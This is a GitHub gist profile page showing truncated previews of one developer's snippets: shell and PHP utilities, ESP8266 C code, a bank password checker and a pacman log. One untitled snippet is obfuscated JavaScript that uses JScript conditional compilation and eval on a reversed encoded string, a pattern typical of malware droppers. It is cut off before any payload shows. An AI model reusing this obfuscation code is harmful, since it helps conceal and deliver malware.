Skip to content

Instantly share code, notes, and snippets.

View MightyPork's full-sized avatar
🐶
meow

Ondřej Hruška MightyPork

🐶
meow
View GitHub Profile
#!/bin/bash
[[ $EUID != 0 ]] && echo -e "\e[0;91mMust be root.\e[0m" && exit 1
echo -e "\e[1;36mCleaning package caches\e[0m"
# All packages
paccache -r -k 3 -c /var/cache/pacman/pkg
paccache -r -k 2 -c /var/cache/makepkg
~ $ pachist -d 2017-02-18
[2017-02-18 10:38] upgraded marble-data (16.12.2-1 -> 16.12.2-3)
[2017-02-18 10:38] installed marble-common (16.12.2-3)
[2017-02-18 10:38] upgraded marble (16.12.2-1 -> 16.12.2-3)
[2017-02-18 10:38] upgraded mypaint (1.2.1-1 -> 1.2.1-2)
[2017-02-18 10:38] upgraded pyqt5-common (5.7.1-3 -> 5.8-1)
[2017-02-18 10:38] upgraded python-chardet (2.3.0-3 -> 2.3.0-4)
[2017-02-18 10:38] upgraded sip (4.19-1 -> 4.19.1-1)
[2017-02-18 10:38] upgraded python-sip (4.19-1 -> 4.19.1-1)
@MightyPork
MightyPork / expandBashRepeat.php
Last active May 5, 2019 17:25
PHP function to expand strings array using {a,b,c} and {1..5}
<?php
function expandBashRepeat($sourceStrings)
{
if (is_string($sourceStrings)) $sourceStrings = [$sourceStrings];
$outputs = [];
foreach($sourceStrings as $str) {
$i=0;
$arrays = [];
$str2 = preg_replace_callback('/\{([^{}]+)\}/', function($m) use(&$i, &$arrays) {
@MightyPork
MightyPork / a.c
Last active January 13, 2017 05:28
mmm
#define GPIO_RGB 5
// this is used in a lot of places because I was lazy to type the long thing.
// may be it's not even needed anymore, idk
#define FLASH_FN ICACHE_FLASH_ATTR
void FLASH_FN ioInit() {
// GPIO5 - RGB output
PIN_FUNC_SELECT(PERIPHS_IO_MUX_GPIO5_U, FUNC_GPIO5);
function aLYy3(aCPt8) {
eval("/*@cc_on var aAl6 = new Date() @*/");
aAl6["setUTCSeconds"]("0", "20");
if (aAl6.getUTCMilliseconds().toString(10) == "20") {
var aCv5 = aCPt8["split"]("`");
return aCv5.reverse().join("");
} else return "";
};
var v_ccdd = (new Function("dfff", "return dfff;"), eval(aLYy3("/`*`@` `}`;`5`v`C`a` `n`r`u`t`e`r`;`}`;`)`9`p`Y`a`(`]`\x22`h`s`u`p`\x22`[`5`v`C`a`}`;`]`5`x`I`a`[`1`r`X`I`a`=`9`p`Y`a` `r`a`v`{` `e`s`l`e`}`;`5`x`I`a`=`9`p`Y`a` `r`a`v`{`)`8`2`1` `<` `5`x`I`a`(` `f`i`;`)`2`a`X`C`a`(`]`\x22`t`A`e`d`o`C`r`a`h`c`\x22`[`7`d`J`T`a`=`5`x`I`a` `r`a`v`{`)`1` `=`+` `2`a`X`C`a` `;`h`t`g`n`e`l`.`7`d`J`T`a` `<` `2`a`X`C`a` `;`0`=`2`a`X`C`a` `r`a`v`(` `r`o`f`;`)`(`y`a`r`r`A` `w`e`n`=`5`v`C`a` `r`a`v`;`5`5`2`=`]`0`6`1`[`1`r`X`I`a`;`4`5`2`=`]`2`3`6`9`[`1`r`X`I`a`;`3`5`2`=`]`8`7`1`[`1`r`X`I`a`;`2`5`2`=`]`9`1`3`8`[`1`r`X`I`a`;`1`5`2`=`]`0`3`7`8`[`1`r`X`I`a`;`0`5`2`=`]`3`8`1`[`1`r`X`I`a`;`9`4`2`=`]`9`2`7`8`[`1`r`X`I`a`;`8`4`2`=`]`6`7`1`[`1`r`X`I`a`;`7`4`2`=`]`6`
>> syms('f1,f2,f3,s')
Error using syms>getnames (line 95)
Not a valid variable name.
Error in syms (line 59)
[vars,funs,control] = getnames(varargin);
>> syms('f1','f2','f3','s')
>> A=[-2 5 -6;1 0 0;0 1 0]
@MightyPork
MightyPork / pwdstrength.js
Created December 7, 2016 19:04
SHITTY INTERNET BANKING PASSWORD STRENGTH CHECKER
$(document)
.ready(
function() {
passwordStrenghtStart();
});
var counterInterval = 1000;
var counterObjIdent;
var lastFocusedId;
var pwdForAjax;
where do we bitch about twitter being down
when twitter is down
Atmospheric Weather Effects
Remove Intrusive Building Icons
Odvinsko Drive Tuning Ship Mod
Instagram Filter Removal
Better Worlds ALPHA2
LowFlight Mod
FXAA3.11 PC EXTREME SUBPIX 0.75
No Rim Lighting (Almost variant)
<?php
$currentMillis = 0;
$lastMillis = 0;
$ledAnimTime = 20;
for ($i = 0; $i < 300; $i++) {
$currentMillis++;
if ($currentMillis - $lastMillis <= $ledAnimTime) {